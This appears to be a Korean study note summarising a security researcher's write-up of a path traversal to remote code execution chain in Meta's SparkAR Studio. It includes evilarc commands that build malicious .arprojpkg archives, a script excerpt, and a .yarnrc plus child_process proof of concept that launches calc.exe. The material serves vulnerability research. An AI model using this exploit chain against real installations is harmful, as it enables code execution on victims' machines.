Original Link : https://blog.fadyothman.com/metas-sparkar/?fbclid=IwAR0j7bwW138TIsMBs9B1odzQBwFNPp6iTar3JcPJBheaoG93u_RcT80rjBw
Target : [Meta]SparkAR Studio
Summary : arprojpkg 확장자를 대상으로 Path Traversal 취약점을 찾고, RCE 까지 가는 과정
Details
arprojpkg 파일은 다음과 같음.
내부의 PassTheObject.arproj이 실제로 로컬 디스크 상에 써지는지 확인
Path Traversal 테스팅을 위해 evilarc를 이용하여 악성 zip 파일 생성
$ evilarc.py -d 8 -f 1.zip test.txt
evilarc.py 코드는 다음과 같음. 그냥 파일이름에 ..\\ 를 붙여서 PK 압축파일을 생성하는 정도임.
...
if options.platform == "win":
dir = "..\\"
if options.path and options.path[-1] != '\\':
options.path += '\\'
else:
dir = "../"
if options.path and options.path[-1] != '/':
options.path += '/'
zpath = dir*options.depth+options.path+os.path.basename(fname)
print "Creating " + options.out + " containing " + zpath;
ext = os.path.splitext(options.out)[1]
...
Zip 파일의 확장자를 arprojpkg로 변경하여 테스트 후 Home 디렉토리에 test.txt 파일이 생성되는 것을 확인
exploit 과정
일반적으로 DLL을 덮어씌워 hijacking을 시도하나, 이 경우 사용자 홈 디렉토리에 밖에 파일을 생성하지 못함. Program Files나 C:\\ 디렉토리는 privileged 해서 파일 생성이 불가능
내부적으로 nodejs.exe를 호출하여 js 파일을 실행시키는 것을 확인하여 js 파일을 덮어쓰려 했으나 덮어쓰기가 불가능
내부적으로 nodejs가 .yarnrc 파일 로드를 시도하는 것을 발견
다음과 같은 test.js 를 포함한 zip을 포함한 yarnrc 생성
const { exec} = require('child_process');
const child = exec('calc.exe', []);
console.log('error', child.error);
console.log('stdout ', child.stdout);
console.log('stderr ', child.stderr);
evilarc.py -d 10 --path=Users\\Public -f 1.zip test.js
evilarc.py -d 8 -f 1.zip .yarnrc
내 생각
nodejs 프로세스를 이용해서 RCE 까지 가는 아이디어는 기억해둬야겟음.